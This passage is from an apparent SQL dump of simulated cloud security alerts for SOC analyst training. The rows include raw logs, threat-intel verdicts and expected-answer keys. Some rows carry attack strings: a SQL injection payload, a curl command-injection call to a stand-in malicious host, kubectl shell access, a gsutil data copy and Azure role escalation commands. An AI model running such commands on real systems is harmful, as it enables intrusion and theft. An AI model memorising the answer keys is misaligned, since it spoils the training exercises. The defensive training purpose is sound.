unauthorized API calls suggest service account hijacking.\"}', 'Beginner', 'CLOUD', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2046, 'Unauthorized Kubernetes Access via Prisma Cloud', 'high', 'Prisma Cloud', 'Detected unauthorized access to Kubernetes cluster from a suspicious IP address.', 'Lateral Movement', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"k8s_access\",\"src_ip\":\"203.0.113.60\",\"dst_ip\":\"10.2.3.4\",\"username\":\"k8s-admin\",\"hostname\":\"k8s-cluster.local\",\"command_line\":\"kubectl exec -it pod-name -- /bin/bash\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous unauthorized Kubernetes access\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"kubectl exec -it pod-name -- /bin/bash\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used in unauthorized access to Kubernetes pods\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The unauthorized kubectl exec command demonstrates lateral movement within the cluster.\"}', 'Beginner', 'CLOUD', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2047, 'Serverless Function Exploitation Detected via Wiz', 'medium', 'Wiz', 'A serverless function was exploited to execute malicious payloads from an external source.', 'Web Attack', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:45:00Z\",\"event_type\":\"function_execution\",\"src_ip\":\"198.51.100.5\",\"dst_ip\":\"10.3.4.5\",\"username\":\"lambda-function\",\"hostname\":\"aws.lambda.amazonaws.com\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP known for SQL injection attacks\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The payload is a classic SQL injection, indicating an attempt to exploit serverless functions.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2048, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'Unauthorized access to an S3 bucket containing sensitive data was detected from an external IP.', 'Data Exfil', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:12:45Z\",\"event_type\":\"data_access\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.10\",\"username\":\"john.doe\",\"hostname\":\"aws-s3-bucket\",\"request_body\":\"GET /sensitive-data\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1200 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Legitimate user account but suspected of compromise\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"notify_data_owner\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"External IP accessing sensitive internal data is a clear indicator of data exfiltration.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2049, 'Azure IAM Privilege Escalation Detected', 'high', 'Azure Defender', 'A user account was detected attempting privilege escalation on Azure IAM, potentially indicating unauthorized activity.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:47:30Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"203.0.113.78\",\"dst_ip\":\"10.0.0.5\",\"username\":\"admin_user\",\"hostname\":\"azure-iam\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.78\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple credential theft attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Privileged internal account used in escalation attempt\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"audit_logs\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Attempted privilege escalation by external IP indicates compromise.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2050, 'GCP Service Account Hijacking Attempt', 'critical', 'GCP SCC', 'Suspicious activity detected on a GCP service account, indicating a possible hijacking attempt.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:22:11Z\",\"event_type\":\"login_success\",\"src_ip\":\"185.199.110.34\",\"dst_ip\":\"10.1.1.15\",\"username\":\"service-account\",\"hostname\":\"gcp-instance\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.110.34\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with known hijacking campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"GCP service account suspected of being compromised\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"enable_logging\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Service account access from a known malicious IP indicates hijacking.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(2051, 'Suspicious Kubernetes Cluster Activity', 'high', 'Prisma Cloud', 'Detected suspicious command execution in Kubernetes cluster indicating potential unauthorized access.', 'Lateral Movement', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:00:05Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.99\",\"dst_ip\":\"10.2.2.20\",\"username\":\"kube-admin\",\"hostname\":\"k8s-node\",\"request_body\":\"\",\"command_line\":\"kubectl exec -it pod -- /bin/sh\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP reported for unauthorized Kubernetes access\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"kubectl exec -it pod -- /bin/sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command execution in Kubernetes cluster without authorization\"}}],\"expected_actions\":[\"isolate_host\",\"audit_logs\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Unauthorized command execution on Kubernetes indicates potential lateral movement.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2052, 'Serverless Function Misuse Detected', 'medium', 'Wiz', 'A serverless function was invoked with a suspicious payload indicating possible command injection.', 'Web Attack', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T18:45:25Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.0.2.123\",\"dst_ip\":\"10.3.3.30\",\"username\":\"anonymous\",\"hostname\":\"cloud-function\",\"request_body\":\"curl -s http://malicious.example.com\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.123\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP associated with command injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"curl -s http://malicious.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Payload indicates a command injection attempt\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\",\"notify_admin\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"Suspicious payload execution on serverless function suggests command injection.\"}', 'Beginner', 'CLOUD', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2053, 'AWS GuardDuty: Unauthorized S3 Bucket Access Detected', 'high', 'AWS GuardDuty', 'An unauthorized access to an S3 bucket was detected from an external IP address. The attacker accessed sensitive data.', 'Data Exfiltration', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:45:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"203.0.113.5\",\"username\":\"unauthorized_user\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-data\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 120 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"unauthorized_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Commonly used in brute force attempts\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP accessing the S3 bucket indicates unauthorized access.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2054, 'Azure Defender: IAM Privilege Escalation Detected', 'critical', 'Azure Defender', 'A user account was granted elevated privileges without proper authorization. This may indicate a compromised account.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:20:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.40\",\"dst_ip\":\"10.0.0.5\",\"username\":\"compromised_user\",\"hostname\":\"azure-vm1\",\"request_body\":\"\",\"command_line\":\"az role assignment create --role Owner --assignee compromised_user\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.40\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous privilege escalation attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Involved in unauthorized role changes\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The unauthorized role assignment indicates possible account compromise.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2055, 'GCP SCC: Service Account Hijacking Attempt', 'high', 'GCP SCC', 'A suspicious activity detected involving a service account using anomalous IP addresses, potentially indicating hijacking.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"198.51.100.45\",\"dst_ip\":\"10.128.0.3\",\"username\":\"service-account@myproject.iam.gserviceaccount.com\",\"hostname\":\"gcp-instance\",\"request_body\":\"\",\"command_line\":\"gcloud auth activate-service-account --key-file=/path/to/key.json\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for service account abuse\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account@myproject.iam.gserviceaccount.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Service account involved in unusual access patterns\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The service account\'s unauthorized use by an external IP suggests hijacking.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2056, 'Prisma Cloud: Unauthorized Kubernetes API Access', 'high', 'Prisma Cloud', 'An unauthorized attempt to access the Kubernetes API server was detected from an external source.', 'Web Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:05:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.60\",\"dst_ip\":\"10.0.0.8\",\"username\":\"unknown\",\"hostname\":\"k8s-api-server\",\"request_body\":\"POST /api/v1/namespaces/default/pods\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP involved in unauthorized API access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"POST /api/v1/namespaces/default/pods\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Attempt to create unauthorized pods\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The external IP\'s unauthorized requests to the API server indicate a potential breach attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2057, 'Wiz: Serverless Function Invocation from Suspicious IP', 'medium', 'Wiz', 'A serverless function was invoked from an IP address known for suspicious activity, suggesting possible abuse.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"198.51.100.55\",\"dst_ip\":\"10.0.1.3\",\"username\":\"function-invoker\",\"hostname\":\"lambda-function\",\"request_body\":\"\",\"command_line\":\"aws lambda invoke --function-name myFunction\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with unauthorized serverless function invocations\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"function-invoker\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"User involved in anomalous invocation patterns\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The invocation from a known suspicious IP suggests potential misuse of serverless functions.\"}', 'Beginner', 'CLOUD', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2058, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'A sensitive AWS S3 bucket was accessed from an unauthorized IP address. Possible data exfiltration attempt detected.', 'Data Exfiltration', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:23Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"203.0.113.5\",\"username\":\"unauthorized_user\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /bucket-name/important-data\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1203 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"unauthorized_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Username associated with multiple unauthorized access attempts\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"s3.amazonaws.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate AWS S3 endpoint\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Unauthorized IP accessed a sensitive S3 bucket, indicating potential data leak.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2059, 'Azure IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'An IAM user account attempted to escalate privileges using an admin account token. Detected unusual activity patterns.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:12:34Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"10.0.0.12\",\"username\":\"compromised_user\",\"hostname\":\"azure-portal\",\"request_body\":\"\",\"command_line\":\"az role assignment create --assignee compromised_user --role Contributor\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 654 times for credential stuffing attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Username involved in abnormal privilege escalation attempts\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"az role assignment create --assignee compromised_user --role Contributor\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used in privilege escalation attacks\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Compromised user attempted privilege escalation, indicating a potential breach.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2060, 'GCP Service Account Hijacking Detected', 'critical', 'GCP SCC', 'A GCP service account was used from an unknown IP address to access critical resources. Potential hijacking detected.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:23:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.45\",\"dst_ip\":\"10.128.0.2\",\"username\":\"service-account@project.iam.gserviceaccount.com\",\"hostname\":\"gcp-project\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account@project.iam.gserviceaccount.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Service account used in abnormal contexts\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Unauthorized access to GCP service account detected, suggesting possible hijacking.\"}', 'Beginner', 'CLOUD', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2061, 'Prisma Cloud Detection of Unauthorized Kubernetes Access', 'high', 'Prisma Cloud', 'A Kubernetes cluster was accessed by an external IP address not listed in the whitelist. Possible lateral movement attempt.', 'Lateral Movement', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:50:10Z\",\"event_type\":\"network_connection\",\"src_ip\":\"203.0.113.101\",\"dst_ip\":\"10.1.2.3\",\"username\":\"kube-admin\",\"hostname\":\"k8s-cluster\",\"request_body\":\"\",\"command_line\":\"kubectl exec --kubeconfig /path/to/config\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for unauthorized Kubernetes access\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"kubectl exec --kubeconfig /path/to/config\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command linked to unauthorized access attempts\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"External IP accessed Kubernetes cluster, indicating potential lateral movement.\"}', 'Beginner', 'CLOUD', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2062, 'Wiz Detection of Unauthorized Serverless Function Execution', 'medium', 'Wiz', 'An AWS Lambda function executed by an external IP not associated with any known entities. Potential unauthorized access detected.', 'Data Exfiltration', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:35:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.150\",\"dst_ip\":\"10.0.0.5\",\"username\":\"lambda_function_exec\",\"hostname\":\"aws-lambda\",\"request_body\":\"\",\"command_line\":\"aws lambda invoke --function-name sensitiveFunction\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.150\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with unauthorized AWS Lambda executions\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"aws lambda invoke --function-name sensitiveFunction\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command associated with unauthorized data access\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Unauthorized execution of Lambda function indicating data exfiltration risk.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2063, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'An external IP was observed accessing sensitive data from an S3 bucket. The activity is consistent with data exfiltration attempts.', 'Data Exfil', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:30Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-data\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for data exfiltration activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP accessing sensitive data indicates a breach attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2064, 'Azure IAM Privilege Escalation Detected', 'high', 'Azure Defender', 'A suspicious privilege escalation was detected in Azure IAM, potentially compromising administrator credentials.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.5\",\"username\":\"admin\",\"hostname\":\"azure.com\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for 1021 brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"High-value target account\"}}],\"expected_actions\":[\"reset_credentials\",\"block_ip\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Failed login attempts from a foreign IP suggest a targeted credential compromise.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2065, 'GCP Service Account Hijacking Attempt', 'critical', 'GCP SCC', 'Unusual activity detected from a GCP service account indicating possible hijacking and unauthorized access.', 'Data Exfil', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:35:20Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.67\",\"dst_ip\":\"172.16.0.10\",\"username\":\"gcp-service-account\",\"hostname\":\"cloud.google.com\",\"request_body\":\"\",\"command_line\":\"gsutil cp gs://mybucket/sensitive-data .\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.67\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"gsutil cp gs://mybucket/sensitive-data .\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command indicative of data exfiltration\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The execution of gsutil with an external IP suggests data exfiltration.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
